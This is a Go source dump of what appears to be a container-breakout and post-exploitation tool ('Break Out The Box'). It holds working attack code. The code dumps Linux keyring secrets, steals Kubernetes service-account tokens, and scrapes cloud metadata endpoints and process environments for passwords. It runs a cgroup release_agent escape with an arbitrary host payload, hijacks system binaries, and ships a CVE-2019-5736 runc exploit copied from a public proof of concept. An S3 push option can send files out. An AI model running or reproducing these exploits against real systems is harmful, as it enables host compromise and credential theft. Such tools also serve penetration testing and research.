129 | return "keyctlUnlink"
130 | case keyctlSearch:
131 | return "keyctlSearch"
132 | case keyctlRead:
133 | return "keyctlRead"
134 | case keyctlInstantiate:
135 | return "keyctlInstantiate"
136 | case keyctlNegate:
137 | return "keyctlNegate"
138 | case keyctlSetReqKeyKeyring:
139 | return "keyctlSetReqKeyKeyring"
140 | case keyctlSetTimeout:
141 | return "keyctlSetTimeout"
142 | case keyctlAssumeAuthority:
143 | return "keyctlAssumeAuthority"
144 | case keyctlGetPersistent:
145 | return "keyctlGetPersistent"
146 | }
147 | panic("bad arg")
148 | }
149 |
150 | func add_key(keyType, keyDesc string, payload []byte, id int32) (int32, error) {
151 | var (
152 | err error
153 | errno syscall.Errno
154 | b1, b2 *byte
155 | r1 uintptr
156 | pptr unsafe.Pointer
157 | )
158 |
159 | if b1, err = syscall.BytePtrFromString(keyType); err != nil {
160 | return 0, err
161 | }
162 |
163 | if b2, err = syscall.BytePtrFromString(keyDesc); err != nil {
164 | return 0, err
165 | }
166 |
167 | if len(payload) > 0 {
168 | pptr = unsafe.Pointer(&payload[0])
169 | }
170 | r1, _, errno = syscall.Syscall6(syscall_add_key,
171 | uintptr(unsafe.Pointer(b1)),
172 | uintptr(unsafe.Pointer(b2)),
173 | uintptr(pptr),
174 | uintptr(len(payload)),
175 | uintptr(id),
176 | 0)
177 |
178 | if errno != 0 {
179 | err = errno
180 | return 0, err
181 | }
182 | return int32(r1), nil
183 | }
184 |
185 | func listKeys(id keyId) ([]keyId, error) {
186 | var (
187 | b1 []byte
188 | size, sizeRead int
189 | )
190 |
191 | bsz := 4
192 | b1 = make([]byte, 16*bsz)
193 | size = len(b1)
194 | sizeRead = size + 1
195 | for sizeRead > size {
196 | r1, _, errno := syscall.Syscall6(syscall_keyctl, uintptr(keyctlRead), uintptr(id), uintptr(unsafe.Pointer(&b1[0])), uintptr(size), 0, 0)
197 | if errno != 0 {
198 | return nil, errno
199 | }
200 |
201 | if sizeRead = int(r1); sizeRead > size {
202 | b1 = make([]byte, sizeRead)
203 | size = sizeRead
204 | sizeRead++
205 | } else {
206 | size = sizeRead
207 | }
208 | }
209 | keys := make([]keyId, size/bsz)
210 | for i := range keys {
211 | keys[i] = *((*keyId)(unsafe.Pointer(&b1[i*bsz])))
212 | }
213 |
214 | return keys, nil
215 | }
216 |
217 | // func newKeyring(id keyId) (*keyring, error) {
218 | // r1, _, errno := syscall.Syscall(syscall_keyctl, uintptr(keyctlGetKeyringId), uintptr(id), uintptr(1))
219 | // if errno != 0 {
220 | // return nil, errno
221 | // }
222 |
223 | // if id >= 0 {
224 | // id = keyId(r1)
225 | // }
226 | // return &keyring{id: id}, nil
227 | // }
228 |
229 | func (k Key) describeKeyId() ([]byte, error) {
230 | var (
231 | b1 []byte
232 | size, sizeRead int
233 | )
234 |
235 | b1 = make([]byte, 64)
236 | size = len(b1)
237 | sizeRead = size + 1
238 | for sizeRead > size {
239 | r1, _, errno := syscall.Syscall6(syscall_keyctl, uintptr(keyctlDescribe), uintptr(keyId(k.KeyId)), uintptr(unsafe.Pointer(&b1[0])), uintptr(size), 0, 0)
240 | if errno != 0 {
241 | return nil, errno
242 | }
243 | if sizeRead = int(r1); sizeRead > size {
244 | b1 = make([]byte, sizeRead)
245 | size = sizeRead
246 | sizeRead++
247 | } else {
248 | size = sizeRead
249 | }
250 | }
251 |
252 | return b1[:size-1], nil
253 | }
254 |
255 | func keyctl_Read(id keyId, b *byte, size int) (int32, error) {
256 | v1, _, errno := syscall.Syscall6(syscall_keyctl, uintptr(keyctlRead), uintptr(id), uintptr(unsafe.Pointer(b)), uintptr(size), 0, 0)
257 | if errno != 0 {
258 | return -1, errno
259 | }
260 |
261 | return int32(v1), nil
262 | }
263 |
264 | func keyctl_Unlink(id, ring keyId) error {
265 | _, _, errno := syscall.Syscall(syscall_keyctl, uintptr(keyctlUnlink), uintptr(id), uintptr(ring))
266 | if errno != 0 {
267 | return errno
268 | }
269 | return nil
270 | }
271 |
272 | func keyctl_Link(id, ring keyId) error {
273 | _, _, errno := syscall.Syscall(syscall_keyctl, uintptr(keyctlLink), uintptr(id), uintptr(ring))
274 | if errno != 0 {
275 | return errno
276 | }
277 | return nil
278 | }
279 |
280 | func keyctl_Get_Persistent(uid int, ring keyId) error {
281 | fmt.Println("keyCtl_GetPersistent UID:", uid)
282 | fmt.Println("keyCtl_GetPersistent ring:", ring)
283 | // TODO the lookup for "GetPersistentId" is 17 but in reality it's 22
284 | // I have no idea where this is set and who sets it...
285 | // see https://github.com/torvalds/linux/blob/v5.4/include/uapi/linux/keyctl.h#L62
286 | _, _, errno := syscall.Syscall(syscall_keyctl, uintptr(22), uintptr(uid), uintptr(ring))
287 | if errno != 0 {
288 | return errno
289 | }
290 | return nil
291 | }
292 |
--------------------------------------------------------------------------------
/lib.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "io/ioutil"
7 | "log"
8 | "math"
9 | "net"
10 | "net/url"
11 | "os"
12 | "strconv"
13 | "strings"
14 | )
15 |
16 | type Key struct {
17 | KeyId int32
18 | Valid bool
19 | Name string
20 | Type string
21 | Uid string
22 | Gid string
23 | Perms string
24 | String_Content string
25 | Byte_Content []byte
26 | Comments []string
27 | Subkeys []Key
28 | size int
29 | Output string
30 | }
31 |
32 | func worker(id int, jobs <-chan int, results chan<- Key) {
33 | for j := range jobs {
34 |
35 | if *verbosePtr == true {
36 | fmt.Println("[DEBUG] Attempting to access key with ID: ", j)
37 | }
38 |
39 | k := Key{KeyId: int32(j)}
40 |
41 | // syscall keyctl_describekeyid(keyid)
42 | // Collects information about a key ID but not its contents
43 | breturn, err := k.describeKeyId()
44 | if err != nil {
45 | if *verbosePtr == true {
46 | fmt.Println("[ERROR]", err)
47 | }
48 | } else {
49 | if *verbosePtr == true {
50 | fmt.Println("[DEBUG] Got access to key with ID: ", j)
51 | }
52 | k.Valid = true
53 | // Fill in the key details based on the syscall response
54 | k.populate_describe(breturn)
55 |
56 | if k.Type == "keyring" {
57 | // Keyrings hold keys and are what we're looking for
58 |
59 | // If you don't "possess" the keyring then you will likely
60 | // be unable to read its contents. This links the keyring
61 | // to your personal session keyring, and then tries to read
62 | // the contents.
63 | // syscall keyctl_link(src, -3=session keyring)
64 | err := keyctl_Link(keyId(k.KeyId), keyId(keySpecSessionKeyring))
65 |
66 | if err != nil {
67 | if *verbosePtr == true {
68 | fmt.Println("[ERROR]", err)
69 | }
70 | }
71 | // list keys in keyring and fill in description deails
72 | // TODO this is populating subkeys before the link which
73 | // means the sub-sub keys can't do a read() op
74 | k.populate_subkeys()
75 |
76 | // Try to read all the secrets of the keys
77 | for i := range k.Subkeys {
78 | err := k.Subkeys[i].Get()
79 | if err != nil {
80 | //TODO what else can happen?
81 | //Error.Print(err.Error())
82 | if *verbosePtr == true {
83 | fmt.Println("[ERROR]", err)
84 | }
85 | }
86 | }
87 | // Cleanup and unlink the keyring from your session
88 | keyctl_Unlink(keyId(k.KeyId), keyId(keySpecSessionKeyring))
89 | }
90 |
91 | // Go back and collect the keyring data to be thorough
92 | err := k.Get()
93 | if err != nil {
94 | // We would haven't already deduced this but there's a scenario
95 | // where you have permission to describe() a key but not read() it
96 | if msg := err.Error(); msg == "permission denied" {
97 | k.Comments = append(k.Comments, "Read permission denied to user")
98 | } else if err != nil {
99 | fmt.Println(err.Error())
100 | }
101 | }
102 | }
103 |
104 | if k.Valid {
105 | output, err := json.MarshalIndent(k, "", " ")
106 | if err != nil {
107 | fmt.Println("[ERROR] ", err)
108 | }
109 | k.Output = string(output)
110 | }
111 | results <- k
112 | }
113 | }
114 |
115 | //The code in this function is originally from https://github.com/antitree/keyctl-unmask
116 | func pwnKeyCtl(min, max int) {
117 | fmt.Println("[*] Attempting to Identify and Extract Keyring Values")
118 | fmt.Println("[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe")
119 |
120 | //We add one so that the min and max provided are inclusive to the actual jobs
121 | numJobs := max - min + 1
122 | jobs := make(chan int, numJobs)
123 | results := make(chan Key)
124 |
125 | for w := 1; w <= 50; w++ {
126 | go worker(w, jobs, results)
127 | }
128 |
129 | for j := min; j <= max; j++ {
130 | jobs <- j
131 | }
132 | close(jobs)
133 |
134 | for a := 1; a <= numJobs; a++ {
135 | key := <-results
136 | if key.Valid {
137 | fmt.Println("[!] Output", key.Output)
138 | }
139 | }
140 | }
141 |
142 | //This function is originally from https://github.com/antitree/keyctl-unmask
143 | func (k *Key) Get() error {
144 | // Perform a syscall keyctlread() to get the secret bytes
145 | // of a key. Returns error if it can't read the key.
146 | var (
147 | b []byte
148 | err error
149 | sizeRead int
150 | )
151 |
152 | if k.size == 0 {
153 | k.size = 512
154 | }
155 |
156 | size := k.size
157 |
158 | b = make([]byte, int(size))
159 | sizeRead = size + 1
160 | for sizeRead > size {
161 | r1, err := keyctl_Read(keyId(k.KeyId), &b[0], size)
162 | if err != nil {
163 | return err
164 | }
165 |
166 | if sizeRead = int(r1); sizeRead > size {
167 | b = make([]byte, sizeRead)
168 | size = sizeRead
169 | sizeRead = size + 1
170 | } else {
171 | k.size = sizeRead
172 | }
173 | }
174 |
175 | // Update the original keypointer
176 | content := b[:k.size]
177 | k.Byte_Content = content
178 | k.String_Content = string(content)
179 |
180 | return err
181 | }
182 |
183 | //This function is originally from https://github.com/antitree/keyctl-unmask
184 | func (k *Key) populate_subkeys() (int, error) {
185 | // Consume a keyid and run the syscall listkeys()
186 | // Generates keyids for other keys part of the
187 | // keychain.
188 | nkid, err := listKeys(keyId(k.KeyId))
189 | if err != nil {
190 | return 0, err
191 | }
192 | var i int
193 |
194 | for _, kid := range nkid {
195 | // Turn each subkey ID into a key object
196 | i++
197 | nk := Key{KeyId: int32(kid)}
198 | nkdesc, err := nk.describeKeyId()
199 | // TODO IDK if you need to hunt for subkeys here because
200 | // you're already going to find them from /proc/keys
201 | // and you're going to get permission problems for subkeys
202 | // I would assume? idk.
203 | if err == nil {
204 | fmt.Printf("[!] Subkey description for key [%d]: %s\n", kid, string(nkdesc))
205 | err := nk.populate_describe(nkdesc)
206 | if err != nil {
207 | nk.Comments = append(nk.Comments, "Error parsing subkey describe text")
208 | } else if nk.Type == "keyring" {
209 | // If the subkey isn't a keyring cool because we'll find the keyrings later
210 | nk.populate_subkeys() // TODO recursive, does this make sense?
211 | } else {
212 | // If the subkey is a user key, asymmetric key, or something else, try to read it
213 | err := nk.Get()
214 | if err != nil {
215 | //TODO Not sure why there's a permission error during subkey search. Maybe because no link
216 | nk.Comments = append(nk.Comments, fmt.Sprintf("Error during %s subkey read: %s", nk.Type, err.Error()))
217 | }
218 | }
219 | k.Subkeys = append(k.Subkeys, nk)
220 | } else {
221 | nk.Comments = append(nk.Comments, "Error during subkey describe")
222 | }
223 | }
224 | return i, nil
225 | }
226 |
227 | // End of Keyring Section
228 |
229 | func idenitfyVerifyK8Secrets() {
230 | fmt.Println("[*] Identifying and Verifying K8's Secrets")
231 |
232 | paths := make([]string, 2)
233 | var tokens []string
234 |
235 | paths[0] = "/var/run/secrets/kubernetes.io/serviceaccount/token"
236 | paths[1] = "/run/secrets/kubernetes.io/serviceaccount/token"
237 |
238 | for _, path := range paths {
239 | if fileExists(path) {
240 | if *verbosePtr {
241 | fmt.Println("[*] File exists: ", path)
242 | }
243 |
244 | data, err := ioutil.ReadFile(path)
245 | if err != nil {
246 | fmt.Println("[ERROR]", err)
247 | return
248 | }
249 | fmt.Println("[!] Token found at:", path)
250 | tokens = append(tokens, string(data))
251 | }
252 | }
253 |
254 | urls := make([]string, 4)
255 | urls[0] = "https://kubernetes.default/api/v1"
256 | urls[1] = "https://kubernetes.default/api/v1/namespaces"
257 | urls[2] = "https://kubernetes.default/api/v1/namespaces/default/secrets"
258 | urls[3] = "https://kubernetes.default/api/v1/namespaces/default/pods"
259 |
260 | for _, token := range tokens {
261 | for _, url := range urls {
262 | fmt.Println("[*] Trying: ", url)
263 | rspCode, err := httpRequestBearer(url, token)
264 | if err != nil {
265 | fmt.Println("[ERROR]", err)
266 | }
267 | if rspCode >= 200 && rspCode < 400 {
268 | fmt.Printf("[!] Valid response with token (%s...)on -> %s\n", token[:10], url)
269 | }
270 | }
271 | }
272 | }
273 |
274 | func abuseCgroupPriv(payload string) {
275 | if payload == "nil" {
276 | fmt.Println("[-] Please provide a payload")
277 | return
278 | }
279 | fmt.Println("[+] Attempting to abuse CGROUP Privileges")
280 | if *verbosePtr {
281 | fmt.Println("[*] Extracting Container Home: sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab")
282 | }
283 |
284 | //Locate where the container is located on the underlying host
285 | containerHome, err := execShellCmd("sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab")
286 | if err != nil {
287 | fmt.Println("[ERROR] Extracting Container Home -> 'sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab'. ", err)
288 | }
289 |
290 | containerHome = strings.TrimSpace(containerHome)
291 | if *verbosePtr {
292 | fmt.Println("[*] Container Home Extracted: ", containerHome)
293 | }
294 |
295 | //Generate where the cgroup directories will live
296 | randomCgroupPath := generateRandomString(6)
297 | randomCgroupChild := generateRandomString(6)
298 |
299 | //This satisfies this command essentially "mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x"
300 | cgroupFullPath := fmt.Sprintf("/etc/cgrp%s/%s", randomCgroupPath, randomCgroupChild)
301 | cgroupPartialPath := fmt.Sprintf("/etc/cgrp%s", randomCgroupPath)
302 |
303 | cgroupController := "memory"
304 |
305 | if *verbosePtr {
306 | fmt.Println("[*] CGROUP Location: ", cgroupFullPath)
307 | }
308 | out, err := execShellCmd("mkdir " + cgroupPartialPath)
309 |
310 | if err != nil {
311 | fmt.Println("[ERROR] In Created Cgroup folder -> 'mkdir "+cgroupPartialPath+"'.", err, out)
312 | exitCode = 1
313 | return
314 | }
315 |
316 | if *verbosePtr {
317 | fmt.Println("[*] Created Cgroup folder:", cgroupPartialPath)
318 | }
319 |
320 | //mount -t cgroup -o rdma cgroup /tmp/cgrp
321 | // "mount -t cgroup -o " + cgroupController + " cgroup " + cgroupPartialPath
322 | mountCmd := fmt.Sprintf("mount -t cgroup -o %s cgroup %s", cgroupController, cgroupPartialPath)
323 | _, err = execShellCmd(mountCmd)
324 |
325 | if err != nil {
326 | fmt.Println("[INFO] CGROUP may exist, attempting exploit regardless")
327 | fmt.Printf("[ERROR] In Mounted CGROUP controller -> '%s'.%s\n", mountCmd, err)
328 | // exitCode = 1
329 | return
330 | }
331 |
332 | if *verbosePtr {
333 | fmt.Println("[*] Mounted CGROUP controller: ", mountCmd)
334 | }
335 |
336 | // Create a folder for the child cgroup i.e mkdir /tmp/cgrp/x
337 | _, err = execShellCmd("mkdir " + cgroupFullPath)
338 |
339 | if err != nil {
340 | fmt.Println("[ERROR] In Created Child CGROUP folder -> 'mkdir "+cgroupFullPath+"'.", err)
341 | exitCode = 1
342 | return
343 | }
344 |
345 | if *verbosePtr {
346 | fmt.Println("[*] Created Child CGROUP folder:", cgroupPartialPath)
347 | }
348 |
349 | // echo 1 > /tmp/cgrp/x/notify_on_release
350 | notifyOnReleaseCmd := fmt.Sprintf("echo 1 > %s/notify_on_release", cgroupFullPath)
351 | _, err = execShellCmd(notifyOnReleaseCmd)
352 |
353 | if err != nil {
354 | fmt.Println("[ERROR] In Enabling CGROUP Notifications -> 'echo 1 > "+cgroupFullPath+"/notify_on_release'. ", err)
355 | exitCode = 1
356 | return
357 | }
358 |
359 | if *verbosePtr {
360 | fmt.Println("[*] Enabled CGROUP Notifications:", notifyOnReleaseCmd)
361 | }
362 |
363 | // echo "$host_path/cmd" > /tmp/cgrp/release_agent
364 | releaseAgentCommand := "echo " + containerHome + "/cmd > " + cgroupPartialPath + "/release_agent"
365 | _, err = execShellCmd(releaseAgentCommand)
366 |
367 | if err != nil {
368 | fmt.Println("[ERROR] In Created CMD Script -> '"+releaseAgentCommand+"'. ", err)
369 | exitCode = 1
370 | return
371 | }
372 |
373 | if *verbosePtr {
374 | fmt.Println("[*] Created CMD Script:", releaseAgentCommand)
375 | }
376 |
377 | _, err = execShellCmd("echo '#!/bin/sh' > /cmd")
378 |
379 | if err != nil {
380 | fmt.Println("[ERROR] In Inserted shebang into CMD Script -> 'echo '#!/bin/sh' > /cmd'. ", err)
381 | exitCode = 1
382 | return
383 | }
384 |
385 | if *verbosePtr {
386 | fmt.Println("[*] Inserted shebang into CMD Script: echo '#!/bin/sh' > /cmd")
387 | }
388 |
389 | payloadString := fmt.Sprintf("echo '%s > %s/output'>> /cmd", payload, containerHome)
390 |
391 | if *verbosePtr {
392 | fmt.Println("[*] Payload provided: ", payload)
393 | }
394 |
395 | _, err = execShellCmd(payloadString)
396 |
397 | if err != nil {
398 | fmt.Println("[ERROR] In Inserted payload into CMD script -> '"+payloadString+"'. ", err)
399 | exitCode = 1
400 | return
401 | }
402 |
403 | if *verbosePtr {
404 | fmt.Println("[*] Inserted payload into CMD script: ", payloadString)
405 | }
406 |
407 | _, err = execShellCmd("chmod a+x /cmd")
408 |
409 | if err != nil {
410 | fmt.Println("[ERROR] In -> 'chmod a+x /cmd'. ", err)
411 | exitCode = 1
412 | return
413 | }
414 |
415 | if *verbosePtr {
416 | fmt.Println("[*] chmod'ing cmd script: chmod a+x /cmd")
417 | }
418 |
419 | // "echo $$ > " + cgroupFullPath + "/cgroup.procs"
420 | addAndExecuteCmd := fmt.Sprintf("echo $$ > %s/cgroup.procs", cgroupFullPath)
421 | _, err = execShellCmd(addAndExecuteCmd)
422 |
423 | if err != nil {
424 | fmt.Printf("[ERROR] In Executing, adding a process to CGROUP-> %s, %s\n", addAndExecuteCmd, err)
425 | exitCode = 1
426 | return
427 | }
428 |
429 | if *verbosePtr {
430 | fmt.Println("[*] Executing, adding a process to CGROUP: ", addAndExecuteCmd)
431 | }
432 |
433 | fmt.Println("[*] The result of your command can be found in /output")
434 | }
435 |
436 | func scrapeMetadataEndpoints(endpointList string) {
437 |
438 | if endpointList != "nil" {
439 | endpoints, err := getLinesFromFile(endpointList)
440 | if err != nil {
441 | log.Fatal(err)
442 | }
443 |
444 | for _, target := range endpoints {
445 | u, err := url.Parse(target)
446 | if err != nil {
447 | log.Fatal(err)
448 | }
449 | hostport := u.Port()
450 | if len(hostport) == 0 {
451 | hostport = "80"
452 | }
453 |
454 | resp, err := scrapeGcpMetadata(u.Hostname(), hostport)
455 | if err != nil {
456 | fmt.Println("[ERROR] ", err)
457 | } else {
458 | fmt.Println("[*] Output-> \n", resp)
459 | exitCode = 1
460 | }
461 | }
462 |
463 | } else {
464 | resp, err := scrapeGcpMetadata("169.254.169.254", "80")
465 | if err != nil {
466 | fmt.Println("[ERROR] ", err)
467 | } else {
468 | fmt.Println("[*] Output-> \n", resp)
469 | exitCode = 1
470 | }
471 |
472 | resp, err = scrapeGcpMetadata("169.254.169.254", "8080")
473 | if err != nil {
474 | fmt.Println("[ERROR] ", err)
475 | } else {
476 | fmt.Println("[*] Output-> \n", resp)
477 | exitCode = 1
478 | }
479 | }
480 |
481 | }
482 |
483 | func findDockerD() {
484 | fmt.Println("[+] Looking for Dockerd")
485 | dockerdVal, checkResult := checkForDockerEnvSock()
486 | if checkResult {
487 | fmt.Println("[!] Dockerd DOCKER_HOST found:", dockerdVal)
488 | exitCode = 1
489 | }
490 | sockets, _ := getValidSockets(*pathPtr)
491 | httpSockets := getHTTPEnabledSockets(sockets)
492 | dockerSocks := getDockerEnabledSockets(httpSockets)
493 | for _, aSock := range dockerSocks {
494 | fmt.Println("[!] Valid Docker Socket:", aSock)
495 | exitCode = 1
496 | }
497 | }
498 |
499 | func findHttpSockets(path string) {
500 | fmt.Println("[+] Looking for HTTP enabled Sockets from:", path)
501 | sockets, _ := getValidSockets(path)
502 | httpSockets := getHTTPEnabledSockets(sockets)
503 | for _, aSock := range httpSockets {
504 | fmt.Println("[!] Valid HTTP Socket:", aSock)
505 | exitCode = 1
506 | }
507 | }
508 |
509 | func hijackBinaries(hijackCommand string) {
510 |
511 | if hijackCommand != "nil" {
512 | fmt.Println("[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...")
513 | fmt.Println("[+] Attempting to hijack binaries")
514 | fmt.Println("[*] Command to be used: ", hijackCommand)
515 | command := fmt.Sprintf("#!/bin/sh \n %s \n", hijackCommand)
516 |
517 | hijackDirectory("/bin", command)
518 | hijackDirectory("/sbin", command)
519 | hijackDirectory("/usr/bin", command)
520 | hijackDirectory("/usr/sbin", command)
521 | } else {
522 | fmt.Println("[-] Please provide a payload")
523 | }
524 | }
525 |
526 | func runcPwn(hijackCommand string) {
527 |
528 | if hijackCommand == "nil" {
529 | fmt.Println("[-] Please provide a payload")
530 | return
531 | }
532 |
533 | //This code has been pretty much copy+pasted from the great work done by Nick Frichetten
534 | //https://github.com/Frichetten/CVE-2019-5736-PoC
535 | fmt.Println("[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...")
536 | payload := fmt.Sprintf("#!/bin/bash \n %s", hijackCommand)
537 | fmt.Println("[+] Attempting to exploit CVE-2019-5736 with command: ", hijackCommand)
538 | fd, err := os.Create("/bin/sh")
539 | if err != nil {
540 | fmt.Println(err)
541 | return
542 | }
543 | fmt.Fprintln(fd, "#!/proc/self/exe")
544 | err = fd.Close()
545 | if err != nil {
546 | fmt.Println(err)
547 | return
548 | }
549 |
550 | fmt.Println("[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped")
551 |
552 | var found int
553 | for found == 0 {
554 | pids, err := ioutil.ReadDir("/proc")
555 | if err != nil {
556 | fmt.Println(err)
557 | return
558 | }
559 | for _, f := range pids {
560 | fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
561 | fstring := string(fbytes)
562 | if strings.Contains(fstring, "runc") {
563 | found, err = strconv.Atoi(f.Name())
564 | if err != nil {
565 | fmt.Println(err)
566 | return
567 | }
568 | }
569 | }
570 | }
571 | var handleFd = -1
572 | for handleFd == -1 {
573 | handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
574 | if int(handle.Fd()) > 0 {
575 | handleFd = int(handle.Fd())
576 | }
577 | }
578 | for {
579 | writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
580 | if int(writeHandle.Fd()) > 0 {
581 | writeHandle.Write([]byte(payload))
582 | return
583 | }
584 | }
585 | }
586 |
587 | func checkProcEnviron(wordlist string) {
588 | fmt.Println("[+] Searching /proc/* for data")
589 | files, err := ioutil.ReadDir("/proc")
590 | if err != nil {
591 | fmt.Println("[ERROR], Could not access ProcFS")
592 | return
593 | }
594 |
595 | var terms []string
596 | if wordlist != "nil" {
597 | terms, err = getLinesFromFile(wordlist)
598 | if err != nil {
599 | panic(err)
600 | }
601 | } else {
602 | terms = append(terms, "secret", "password")
603 | }
604 |
605 | for _, file := range files {
606 | environFile := "/proc/" + file.Name() + "/environ"
607 | _, err := os.Stat(environFile)
608 | if err != nil {
609 | if *verbosePtr {
610 | fmt.Println("[ERROR] file does not exist-> ", environFile)
611 | }
612 | } else {
613 | cmd := "cat " + environFile
614 | output, err := execShellCmd(cmd)
615 | if err != nil {
616 | if *verbosePtr {
617 | fmt.Println("[ERROR] Could not query environ for-> ", environFile)
618 | }
619 | }
620 | if checkForJuicyDeets(wordlist, output, terms) {
621 | fmt.Printf("[!] Sensitive keyword found in: %s -> '%s'\n", environFile, output)
622 | exitCode = 2
623 | }
624 | }
625 | }
626 | }
627 |
628 | func checkEnvVars(wordlist string) {
629 | fmt.Println("[+] Checking ENV Variables for secrets")
630 | var terms []string
631 | var err error
632 | if wordlist != "nil" {
633 | terms, err = getLinesFromFile(wordlist)
634 | if err != nil {
635 | panic(err)
636 | }
637 | } else {
638 | terms = append(terms, "secret", "password")
639 | }
640 |
641 | for _, envVar := range os.Environ() {
642 | if checkForJuicyDeets(wordlist, envVar, terms) {
643 | fmt.Println("[!] Sensitive Keyword found in ENV: ", envVar)
644 | exitCode = 2
645 | }
646 | }
647 |
648 | }
649 | func checkMetadataServices(endpointList string) {
650 | if endpointList != "nil" {
651 | endpoints, err := getLinesFromFile(endpointList)
652 | if err != nil {
653 | log.Fatal(err)
654 | }
655 |
656 | for _, endpoint := range endpoints {
657 | if queryEndpoint(endpoint) {
658 | exitCode = 1
659 | }
660 | }
661 |
662 | } else {
663 |
664 | if queryEndpoint("http://169.254.169.254:8080/") {
665 | exitCode = 1
666 | }
667 |
668 | if *verbosePtr {
669 | fmt.Println("[*] Attempting to query GCP, Azure, Amazon and Digital Ocean")
670 | }
671 | if queryEndpoint("http://169.254.169.254/") {
672 | exitCode = 1
673 | }
674 |
675 | if *verbosePtr {
676 | fmt.Println("[*] Attempting to query GCP")
677 | }
678 | if queryEndpoint("http://metadata.google.internal/") {
679 | exitCode = 1
680 | }
681 |
682 | if *verbosePtr {
683 | fmt.Println("[*] Attempting to query Alibaba Cloud")
684 | }
685 | if queryEndpoint("http://100.100.100.200/") {
686 | exitCode = 1
687 | }
688 |
689 | if *verbosePtr {
690 | fmt.Println("[*] Attempting to query Kubernetes")
691 | }
692 | if queryEndpoint("https://kubernetes.default") {
693 | exitCode = 1
694 | }
695 |
696 | }
697 | }
698 | func autopwn(path string, cicd bool) {
699 | fmt.Println("[+] Attempting to autopwn")
700 | sockets, _ := getValidSockets(path)
701 | httpSockets := getHTTPEnabledSockets(sockets)
702 | dockerSocks := getDockerEnabledSockets(httpSockets)
703 | for _, element := range dockerSocks {
704 | err := autopwnDocker(element, cicd)
705 | if err != nil {
706 | fmt.Println("[ERROR] ", err)
707 | }
708 | }
709 | }
710 |
711 | func reverseDNS(cidr string) {
712 | fmt.Println("[*] Attempting to performd reverse DNS lookups:", cidr)
713 | ip, subnet, err := net.ParseCIDR(cidr)
714 | if err != nil {
715 | return
716 | }
717 | split := strings.Split(cidr, "/")
718 | bits, err := strconv.Atoi(split[1])
719 | if err != nil {
720 | return
721 | }
722 | size := int(math.Exp2(float64(32 - bits)))
723 | if size > 2 {
724 | for i := 0; i < size; i++ {
725 | if i > 0 && i < size-1 {
726 | ip = net.IPv4(subnet.IP[0]|byte((i>>24)&0xff),
727 | subnet.IP[1]|byte((i>>16)&0xff),
728 | subnet.IP[2]|byte((i>>8)&0xff),
729 | subnet.IP[3]|byte((i>>0)&0xff))
730 | reverse, _ := net.LookupAddr(ip.String())
731 | if reverse != nil {
732 | fmt.Printf("[!] %s DNS entry: %s\n", ip.String(), strings.Join(reverse[:], ", "))
733 | }
734 | }
735 | }
736 | }
737 | }
738 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "io/ioutil"
7 | "log"
8 | "os"
9 |
10 | "gopkg.in/yaml.v2"
11 | )
12 |
13 | var verbosePtr, huntSockPtr, huntHttpPtr, huntDockerPtr, toJsonPtr, autopwnPtr, cicdPtr, reconPtr, metaDataPtr, findDockerdPtr, scrapeGcpMeta, alwaysSucceedPtr, k8secrets, pwnKeyctl *bool
14 |
15 | var validSocks []string
16 |
17 | var exitCode int
18 | var keyMin, keyMax *int
19 | var pathPtr, aggressivePtr, hijackPtr, wordlistPtr, endpointList, pushToS3ptr, s3BucketPtr, awsRegionPtr, cgroupPtr, configPtr, revDNSPtr *string
20 |
21 | type IpAddress struct {
22 | Address string
23 | }
24 |
25 | type Interface struct {
26 | Name string
27 | Addresses []IpAddress
28 | }
29 |
30 | type Config struct {
31 | Payload string
32 | Verbose bool
33 | Cicd bool
34 | AlwaysSucceed bool
35 | Endpoints string
36 | WordList string
37 | Path string
38 | Mode string
39 | Min int
40 | Max int
41 | }
42 |
43 | func main() {
44 | fmt.Println("[+] Break Out The Box")
45 | exitCode = 0
46 | log.SetFlags(log.LstdFlags | log.Lmicroseconds)
47 |
48 | pathPtr = flag.String("path", "/", "Path to Start Scanning for UNIX Domain Sockets")
49 | verbosePtr = flag.Bool("verbose", false, "Verbose output")
50 | huntSockPtr = flag.Bool("find-sockets", false, "Hunt for Available UNIX Domain Sockets")
51 | huntHttpPtr = flag.Bool("find-http", false, "Hunt for Available UNIX Domain Sockets with HTTP")
52 |
53 | autopwnPtr = flag.Bool("autopwn", false, "Attempt to autopwn exposed sockets")
54 | cicdPtr = flag.Bool("cicd", false, "Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0")
55 | reconPtr = flag.Bool("recon", false, "Perform Recon of the Container ENV")
56 | metaDataPtr = flag.Bool("metadata", false, "Attempt to find metadata services")
57 | aggressivePtr = flag.String("aggr", "nil", "Attempt to exploit RuncPWN")
58 | hijackPtr = flag.String("hijack", "nil", "Attempt to hijack binaries on host")
59 | wordlistPtr = flag.String("wordlist", "nil", "Provide a wordlist")
60 | endpointList = flag.String("endpoints", "nil", "Provide a textfile with endpoints to use for test")
61 | findDockerdPtr = flag.Bool("find-docker", false, "Attempt to find Dockerd")
62 | pushToS3ptr = flag.String("s3push", "nil", "Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME")
63 | s3BucketPtr = flag.String("s3bucket", "nil", "Provide a bucket name for S3 Push")
64 | awsRegionPtr = flag.String("region", "nil", "Provide a AWS Region e.g eu-west-2")
